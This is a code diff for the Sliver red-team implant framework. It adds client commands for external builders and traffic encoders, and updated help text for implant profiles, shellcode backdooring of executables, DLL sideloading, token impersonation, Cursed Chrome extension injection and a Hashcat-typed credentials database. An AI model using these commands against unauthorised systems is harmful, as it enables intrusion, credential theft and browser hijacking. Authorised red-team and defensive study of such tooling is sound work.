 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
+
+func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(builders.Builders) < 1 {
+		return []*clientpb.Builder{}, ErrNoExternalBuilder
+	}
+
+	validBuilders := []*clientpb.Builder{}
+	for _, builder := range builders.Builders {
+		for _, target := range builder.Targets {
+			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
+				validBuilders = append(validBuilders, builder)
+				break
+			}
+		}
+	}
+
+	if len(validBuilders) < 1 {
+		return []*clientpb.Builder{}, ErrNoValidBuilders
+	}
+
+	return validBuilders, nil
+}
+
+func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
+	choices := []string{}
+	for _, builder := range builders {
+		choices = append(choices, builder.Name)
+	}
+	choice := ""
+	prompt := &survey.Select{
+		Message: "Select an external builder:",
+		Options: choices,
+	}
+	survey.AskOne(prompt, &choice, nil)
+	for _, builder := range builders {
+		if builder.Name == choice {
+			return builder, nil
+		}
+	}
+	return nil, ErrNoValidBuilders
+}

client/command/generate/helpers.go

@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 		return data, err
 	}
 
-	implantName := buildImplantName(profile.GetConfig().GetName())
+	implantName := buildImplantName(profile.GetConfig().GetFileName())
 	_, ok := builds.GetConfigs()[implantName]
 	if implantName == "" || !ok {
 		// no built implant found for profile, generate a new one
@@ -35,17 +35,18 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 			return data, err
 		}
 		data = generated.GetFile().GetData()
-		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+		profile.Config.FileName = generated.File.Name
 		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
 		if err != nil {
 			con.PrintErrorf("Error updating implant profile\n")
 			return data, err
 		}
+		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
 	} else {
 		// Found a build, reuse that one
-		con.PrintInfof("Sliver name for profile: %s\n", implantName)
+		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
 		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-			ImplantName: profile.GetConfig().GetName(),
+			ImplantName: implantName,
 		})
 
 		if err != nil {

client/command/generate/implants.go

@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildfilters := ImplantBuildFilter{}
+	implantBuildFilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
+		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
+		if config.TemplateName == "" {
+			config.TemplateName = "sliver"
+		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
+			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),

client/command/generate/profiles-generate.go

@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		implantFile, err := compile(profile.Config, save, con)
+		implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
 		if err != nil {
 			return
 		}

client/command/generate/regenerate.go

@@ -20,7 +20,6 @@ package generate
 
 import (
 	"context"
-	"io/ioutil"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return

client/command/generate/traffic-encoders.go

@@ -0,0 +1,289 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"github.com/gofrs/uuid"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/text/cases"
+	"golang.org/x/text/language"
+	"google.golang.org/protobuf/proto"
+)
+
+// TrafficEncodersCmd - Generate traffic encoders command implementation
+func TrafficEncodersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	encoderMap, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	DisplayTrafficEncoders(encoderMap, con)
+}
+
+// DisplayTrafficEncoders - Display traffic encoders map from server
+func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Name",
+		"Size (Uncompressed)",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	allIDs := []uint64{}
+	for _, encoder := range encoderMap.Encoders {
+		isDuplicate := util.Contains(allIDs, encoder.ID)
+		allIDs = append(allIDs, encoder.ID)
+		name := encoder.Wasm.Name
+		if isDuplicate {
+			name = fmt.Sprintf(console.Bold+console.Red+"%s (duplicate id)"+console.Normal, name)
+		}
+		tw.AppendRow(table.Row{
+			encoder.ID,
+			name,
+			util.ByteCountBinary(int64(len(encoder.Wasm.Data))),
+		})
+	}
+	con.Println(tw.Render())
+}
+
+// TrafficEncodersAddCmd - Add a new traffic encoder to the server
+func TrafficEncodersAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+
+	data, err := os.ReadFile(ctx.Args.String("file"))
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	testID := uuid.Must(uuid.NewV4()).String()
+	trafficEncoder := &clientpb.TrafficEncoder{
+		Wasm: &commonpb.File{
+			Name: filepath.Base(ctx.Args.String("file")),
+			Data: data,
+		},
+		SkipTests: ctx.Flags.Bool("skip-tests"),
+		TestID:    testID,
+	}
+
+	// Spin out a goroutine to display progress
+	completed := make(chan interface{})
+	go func() {
+		displayTrafficEncoderTestProgress(testID, completed, con)
+	}()
+
+	// Wait for tests to complete, then display final result
+	tests, err := con.Rpc.TrafficEncoderAdd(grpcCtx, trafficEncoder)
+	completed <- nil
+	<-completed
+	close(completed)
+	if err != nil {
+		con.PrintErrorf("Failed to add traffic encoder %s", err)
+		con.Println()
+		return
+	}
+	displayTrafficEncoderTests(false, tests, con)
+	con.Println()
+	if !allTestsPassed(tests) {
+		con.Println()
+		con.PrintErrorf("%s failed tests!\n", trafficEncoder.Wasm.Name)
+		return
+	} else {
+		for _, test := range tests.Tests {
+			if !test.Success && test.Sample != nil {
+				saveFailedSample(trafficEncoder.Wasm.Name, test)
+			}
+		}
+	}
+	con.Println()
+	con.PrintInfof("Successfully added traffic encoder: %s\n", trafficEncoder.Wasm.Name)
+}
+
+// saveFailedSample - Save the sample the encoder failed to properly encode/decode
+func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) {
+	confirm := false
+	prompt := &survey.Confirm{
+		Message: fmt.Sprintf("Failed to add traffic encoder %s, save failed sample to disk?", encoderName),
+	}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	sampleFileName := fmt.Sprintf("sample-failed_%s_%s.bin", time.Now().Format("2006-01-02-15-04-05"), filepath.Base(encoderName))
+	err := os.WriteFile(sampleFileName, test.Sample, 0644)
+	if err != nil {
+		fmt.Printf("Failed to save failed sample to disk: %s", err)
+		return
+	}
+}
+
+// allTestsPassed - Check if all tests passed
+func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool {
+	for _, test := range tests.Tests {
+		if !test.Success {
+			return false
+		}
+	}
+	return true
+}
+
+// displayTrafficEncoderTests - Display traffic encoder tests in real time
+func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverConsoleClient) {
+	listenerID, events := con.CreateEventListener()
+	defer con.RemoveEventListener(listenerID)
+	lineCount := 0
+	for {
+		select {
+		case event := <-events:
+			if event.EventType == consts.TrafficEncoderTestProgressEvent {
+				tests := &clientpb.TrafficEncoderTests{}
+				proto.Unmarshal(event.Data, tests)
+				if tests.Encoder.TestID != testID {
+					continue
+				}
+				clearLines(lineCount-1, con)
+				lineCount = displayTrafficEncoderTests(true, tests, con)
+			}
+		case <-completed:
+			clearLines(lineCount-1, con)
+			completed <- nil
+			return
+		}
+	}
+}
+
+// clearLines - Clear a number of lines from the console
+func clearLines(count int, con *console.SliverConsoleClient) {
+	for i := 0; i < count; i++ {
+		con.Printf(console.Clearln + "\r")
+		con.Printf(console.UpN, 1)
+	}
+}
+
+// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written
+func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverConsoleClient) int {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Test",
+		"Result",
+		"Duration",
+		"Error",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Test", Mode: table.Asc},
+	})
+	titleCase := cases.Title(language.AmericanEnglish)
+	for _, test := range tests.Tests {
+		var success string
+		if test.Success {
+			success = console.Bold + console.Green + "Passed" + console.Normal
+		} else {
+			success = console.Bold + console.Red + "Failed!" + console.Normal
+		}
+		errorMsg := "N/A"
+		if test.Err != "" {
+			errorMsg = titleCase.String(test.Err)
+		}
+		tw.AppendRow(table.Row{
+			test.Name,
+			success,
+			time.Duration(test.Duration),
+			errorMsg,
+		})
+	}
+	tableText := tw.Render()
+	con.Printf(console.Clearln+"\r%s\r", tableText)
+	lineCount := len(strings.Split(tableText, "\n"))
+
+	if running {
+		con.Println()
+		con.Println()
+		con.Printf(console.Bold+"  >>> Running test %d of %d please wait ...\r"+console.Normal, len(tests.Tests), tests.TotalTests)
+		lineCount += 2
+	}
+
+	return lineCount
+}
+
+// TrafficEncodersRemoveCmd - Remove a traffic encoder
+func TrafficEncodersRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	_, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	name := ctx.Args.String("name")
+	if name == "" {
+		name = SelectTrafficEncoder(con)
+	}
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	_, err := con.Rpc.TrafficEncoderRm(grpcCtx, &clientpb.TrafficEncoder{
+		Wasm: &commonpb.File{
+			Name: name,
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	con.Println()
+	con.PrintInfof("Successfully removed traffic encoder: %s\n", name)
+}
+
+// SelectTrafficEncoder - Select a traffic encoder from a list
+func SelectTrafficEncoder(con *console.SliverConsoleClient) string {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	encoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return ""
+	}
+	var encoderNames []string
+	for _, encoder := range encoders.Encoders {
+		encoderNames = append(encoderNames, encoder.Wasm.Name)
+	}
+	sort.Strings(encoderNames)
+	var selectedEncoder string
+	prompt := &survey.Select{
+		Message: "Select a traffic encoder:",
+		Options: encoderNames,
+	}
+	survey.AskOne(prompt, &selectedEncoder)
+	return selectedEncoder
+}

client/command/help/long-help.go

@@ -28,6 +28,7 @@ import (
 	"strings"
 	"text/template"
 
+	"github.com/bishopfox/sliver/client/command/creds"
 	consts "github.com/bishopfox/sliver/client/constants"
 )
 
@@ -45,7 +46,7 @@ var (
 		consts.InfoStr:          infoHelp,
 		consts.UseStr:           useHelp,
 		consts.GenerateStr:      generateHelp,
-		consts.StagerStr:        generateStagerHelp,
+		consts.MsfStagerStr:     generateStagerHelp,
 		consts.StageListenerStr: stageListenerHelp,
 
 		consts.MsfStr:              msfHelp,
@@ -95,6 +96,10 @@ var (
 		// Loot
 		consts.LootStr: lootHelp,
 
+		// Creds
+		consts.CredsStr:                       credsHelp,
+		consts.CredsStr + sep + consts.AddStr: credsAddHelp,
+		consts.CredsStr + sep + consts.AddStr + sep + consts.FileStr: credsAddFileHelp,
 		// Profiles
 		consts.ProfilesStr + sep + consts.NewStr:      newProfileHelp,
 		consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
@@ -103,6 +108,11 @@ var (
 		consts.ReactionStr:                         reactionHelp,
 		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+
+		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
+
+		// Builders
+		consts.BuildersStr: buildersHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -204,10 +214,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `
 
-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -365,8 +375,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
 	sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
 Sideload a Linux shared library into a new bash process using LD_PRELOAD:
 	sideload -p /bin/bash /tmp/mylib.so
-Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
-	sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
+Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
+	sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
 
 [[.Bold]]Remarks:[[.Normal]]
 Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -450,7 +460,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
 
 To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -462,10 +472,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
+Valid types are:
+
+LOGON_INTERACTIVE
+LOGON_NETWORK
+LOGON_BATCH
+LOGON_SERVICE
+LOGON_UNLOCK
+LOGON_NETWORK_CLEARTEXT
+LOGON_NEW_CREDENTIALS
 `
 
 	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -574,18 +594,11 @@ ssh -l ubuntu ec2-instance ps aux
 	lootHelp = `[[.Bold]]Command:[[.Normal]] loot
 [[.Bold]]About:[[.Normal]] Store and share loot between operators.
 
-A piece of loot can be one of two loot types: a file or a credential. 
+A piece of loot is a file, that can be one of two loot types: text or binary. 
 
-[[.Bold]]File Loot[[.Normal]]
-A file can be binary or text, Sliver will attempt to detect the type of file automatically or you can specify 
-a file type with --file-type. You can add local files as loot using the "local" sub-command, or you can add
-files from a session using the "remote" sub-command.
-
-[[.Bold]]Credential Loot[[.Normal]]
-Credential loot can be a user/password combination, an API key, or a file. You can add user/password and API
-keys using the "creds" sub-command. To add credential files use either the "local" or "remote" sub-commands
-with a "--type cred" flag (note the distinction between loot type --type, and file type --file-type). You can
-additionally specify a --file-type (binary or text) as you would normally.
+Sliver will attempt to detect the type of file automatically or you can specify a file type with 
+--file-type. You can add local files as loot using the "local" sub-command, or you can add files
+from a session using the "remote" sub-command.
 
 [[.Bold]]Examples:[[.Normal]]
 
@@ -595,12 +608,6 @@ loot local ./foo.txt
 # Adding a remote file from the active session:
 loot remote C:/foo.txt
 
-# Adding a remote file as a credential from the active session:
-loot remote --type cred id_rsa
-
-# Display only credentials:
-loot --filter creds
-
 # Display the contents of a piece of loot:
 loot fetch
 `
@@ -687,6 +694,521 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
 	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
 [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
 `
+
+	cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
+[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
+
+If no extension is specified, Sliver will enumerate all installed extensions, extract their
+permissions and determine a valid target for injection. For Cursed Chrome to work properly
+the target extension must have either of these two sets of permissions:
+
+1. "webRequest" "webRequestBlocking" "<all_urls>" 
+2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
+
+More information: https://github.com/mandatoryprogrammer/CursedChrome
+`
+
+	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
+[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
+
+External builders allow the Sliver server offload implant builds onto external machines.
+For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
+`
+
+	credsHelp = `[[.Bold]]Command:[[.Normal]] creds
+[[.Bold]]About:[[.Normal]] Manage credentials database.
+`
+
+	credsAddHelp = `[[.Bold]]Command:[[.Normal]] creds add
+[[.Bold]]About:[[.Normal]] Add a credential to the database
+
+[[.Bold]]Hash Types:[[.Normal]]
+Sliver uses the same hash identifiers as Hashcat (use the #):
+
+    # | Name                                                       | Category
+======+============================================================+======================================
+  900 | MD4                                                        | Raw Hash
+    0 | MD5                                                        | Raw Hash
+  100 | SHA1                                                       | Raw Hash
+ 1300 | SHA2-224                                                   | Raw Hash
+ 1400 | SHA2-256                                                   | Raw Hash
+10800 | SHA2-384                                                   | Raw Hash
+ 1700 | SHA2-512                                                   | Raw Hash
+17300 | SHA3-224                                                   | Raw Hash
+17400 | SHA3-256                                                   | Raw Hash
+17500 | SHA3-384                                                   | Raw Hash
+17600 | SHA3-512                                                   | Raw Hash
+ 6000 | RIPEMD-160                                                 | Raw Hash
+  600 | BLAKE2b-512                                                | Raw Hash
+11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
+11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian           | Raw Hash
+ 6900 | GOST R 34.11-94                                            | Raw Hash
+17010 | GPG (AES-128/AES-256 (SHA-1($pass)))                       | Raw Hash
+ 5100 | Half MD5                                                   | Raw Hash
+17700 | Keccak-224                                                 | Raw Hash
+17800 | Keccak-256                                                 | Raw Hash
+17900 | Keccak-384                                                 | Raw Hash
+18000 | Keccak-512                                                 | Raw Hash
+ 6100 | Whirlpool                                                  | Raw Hash
+10100 | SipHash                                                    | Raw Hash
+   70 | md5(utf16le($pass))                                        | Raw Hash
+  170 | sha1(utf16le($pass))                                       | Raw Hash
+ 1470 | sha256(utf16le($pass))                                     | Raw Hash
+10870 | sha384(utf16le($pass))                                     | Raw Hash
+ 1770 | sha512(utf16le($pass))                                     | Raw Hash
+  610 | BLAKE2b-512($pass.$salt)                                   | Raw Hash salted and/or iterated
+  620 | BLAKE2b-512($salt.$pass)                                   | Raw Hash salted and/or iterated
+   10 | md5($pass.$salt)                                           | Raw Hash salted and/or iterated
+   20 | md5($salt.$pass)                                           | Raw Hash salted and/or iterated
+ 3800 | md5($salt.$pass.$salt)                                     | Raw Hash salted and/or iterated
+ 3710 | md5($salt.md5($pass))                                      | Raw Hash salted and/or iterated
+ 4110 | md5($salt.md5($pass.$salt))                                | Raw Hash salted and/or iterated
+ 4010 | md5($salt.md5($salt.$pass))                                | Raw Hash salted and/or iterated
+21300 | md5($salt.sha1($salt.$pass))                               | Raw Hash salted and/or iterated
+   40 | md5($salt.utf16le($pass))                                  | Raw Hash salted and/or iterated
+ 2600 | md5(md5($pass))                                            | Raw Hash salted and/or iterated
+ 3910 | md5(md5($pass).md5($salt))                                 | Raw Hash salted and/or iterated
+ 3500 | md5(md5(md5($pass)))                                       | Raw Hash salted and/or iterated
+ 4400 | md5(sha1($pass))                                           | Raw Hash salted and/or iterated
+ 4410 | md5(sha1($pass).$salt)                                     | Raw Hash salted and/or iterated
+20900 | md5(sha1($pass).md5($pass).sha1($pass))                    | Raw Hash salted and/or iterated
+21200 | md5(sha1($salt).md5($pass))                                | Raw Hash salted and/or iterated
+ 4300 | md5(strtoupper(md5($pass)))                                | Raw Hash salted and/or iterated
+   30 | md5(utf16le($pass).$salt)                                  | Raw Hash salted and/or iterated
+  110 | sha1($pass.$salt)                                          | Raw Hash salted and/or iterated
+  120 | sha1($salt.$pass)                                          | Raw Hash salted and/or iterated
+ 4900 | sha1($salt.$pass.$salt)                                    | Raw Hash salted and/or iterated
+ 4520 | sha1($salt.sha1($pass))                                    | Raw Hash salted and/or iterated
+24300 | sha1($salt.sha1($pass.$salt))                              | Raw Hash salted and/or iterated
+  140 | sha1($salt.utf16le($pass))                                 | Raw Hash salted and/or iterated
+19300 | sha1($salt1.$pass.$salt2)                                  | Raw Hash salted and/or iterated
+14400 | sha1(CX)                                                   | Raw Hash salted and/or iterated
+ 4700 | sha1(md5($pass))                                           | Raw Hash salted and/or iterated
+ 4710 | sha1(md5($pass).$salt)                                     | Raw Hash salted and/or iterated
+21100 | sha1(md5($pass.$salt))                                     | Raw Hash salted and/or iterated
+18500 | sha1(md5(md5($pass)))                                      | Raw Hash salted and/or iterated
+ 4500 | sha1(sha1($pass))                                          | Raw Hash salted and/or iterated
+ 4510 | sha1(sha1($pass).$salt)                                    | Raw Hash salted and/or iterated
+ 5000 | sha1(sha1($salt.$pass.$salt))                              | Raw Hash salted and/or iterated
+  130 | sha1(utf16le($pass).$salt)                                 | Raw Hash salted and/or iterated
+ 1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
+ 1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
+22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
+20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
+21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
+ 1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
+20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
+20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
+21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
+ 1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
+10810 | sha384($pass.$salt)                                        | Raw Hash salted and/or iterated
+10820 | sha384($salt.$pass)                                        | Raw Hash salted and/or iterated
+10840 | sha384($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
+10830 | sha384(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
+ 1710 | sha512($pass.$salt)                                        | Raw Hash salted and/or iterated
+ 1720 | sha512($salt.$pass)                                        | Raw Hash salted and/or iterated
+ 1740 | sha512($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
+ 1730 | sha512(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
+   50 | HMAC-MD5 (key = $pass)                                     | Raw Hash authenticated
+   60 | HMAC-MD5 (key = $salt)                                     | Raw Hash authenticated
+  150 | HMAC-SHA1 (key = $pass)                                    | Raw Hash authenticated
+  160 | HMAC-SHA1 (key = $salt)                                    | Raw Hash authenticated
+ 1450 | HMAC-SHA256 (key = $pass)                                  | Raw Hash authenticated
+ 1460 | HMAC-SHA256 (key = $salt)                                  | Raw Hash authenticated
+ 1750 | HMAC-SHA512 (key = $pass)                                  | Raw Hash authenticated
+ 1760 | HMAC-SHA512 (key = $salt)                                  | Raw Hash authenticated
+11750 | HMAC-Streebog-256 (key = $pass), big-endian                | Raw Hash authenticated
+11760 | HMAC-Streebog-256 (key = $salt), big-endian                | Raw Hash authenticated
+11850 | HMAC-Streebog-512 (key = $pass), big-endian                | Raw Hash authenticated
+11860 | HMAC-Streebog-512 (key = $salt), big-endian                | Raw Hash authenticated
+28700 | Amazon AWS4-HMAC-SHA256                                    | Raw Hash authenticated
+11500 | CRC32                                                      | Raw Checksum
+27900 | CRC32C                                                     | Raw Checksum
+28000 | CRC64Jones                                                 | Raw Checksum
+18700 | Java Object hashCode()                                     | Raw Checksum
+25700 | MurmurHash                                                 | Raw Checksum
+27800 | MurmurHash3                                                | Raw Checksum
+14100 | 3DES (PT = $salt, key = $pass)                             | Raw Cipher, Known-plaintext attack
+14000 | DES (PT = $salt, key = $pass)                              | Raw Cipher, Known-plaintext attack
+26401 | AES-128-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
+26402 | AES-192-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
+26403 | AES-256-ECB NOKDF (PT = $salt, key = $pass)                | Raw Cipher, Known-plaintext attack
+15400 | ChaCha20                                                   | Raw Cipher, Known-plaintext attack
+14500 | Linux Kernel Crypto API (2.4)                              | Raw Cipher, Known-plaintext attack
+14900 | Skip32 (PT = $salt, key = $pass)                           | Raw Cipher, Known-plaintext attack
+11900 | PBKDF2-HMAC-MD5                                            | Generic KDF
+12000 | PBKDF2-HMAC-SHA1                                           | Generic KDF
+10900 | PBKDF2-HMAC-SHA256                                         | Generic KDF
+12100 | PBKDF2-HMAC-SHA512                                         | Generic KDF
+ 8900 | scrypt                                                     | Generic KDF
+  400 | phpass                                                     | Generic KDF
+16100 | TACACS+                                                    | Network Protocol
+11400 | SIP digest authentication (MD5)                            | Network Protocol
+ 5300 | IKE-PSK MD5                                                | Network Protocol
+ 5400 | IKE-PSK SHA1                                               | Network Protocol
+25100 | SNMPv3 HMAC-MD5-96                                         | Network Protocol
+25000 | SNMPv3 HMAC-MD5-96/HMAC-SHA1-96                            | Network Protocol
+25200 | SNMPv3 HMAC-SHA1-96                                        | Network Protocol
+26700 | SNMPv3 HMAC-SHA224-128                                     | Network Protocol
+26800 | SNMPv3 HMAC-SHA256-192                                     | Network Protocol
+26900 | SNMPv3 HMAC-SHA384-256                                     | Network Protocol
+27300 | SNMPv3 HMAC-SHA512-384                                     | Network Protocol
+ 2500 | WPA-EAPOL-PBKDF2                                           | Network Protocol
+ 2501 | WPA-EAPOL-PMK                                              | Network Protocol
+22000 | WPA-PBKDF2-PMKID+EAPOL                                     | Network Protocol
+22001 | WPA-PMK-PMKID+EAPOL                                        | Network Protocol
+16800 | WPA-PMKID-PBKDF2                                           | Network Protocol
+16801 | WPA-PMKID-PMK                                              | Network Protocol
+ 7300 | IPMI2 RAKP HMAC-SHA1                                       | Network Protocol
+10200 | CRAM-MD5                                                   | Network Protocol
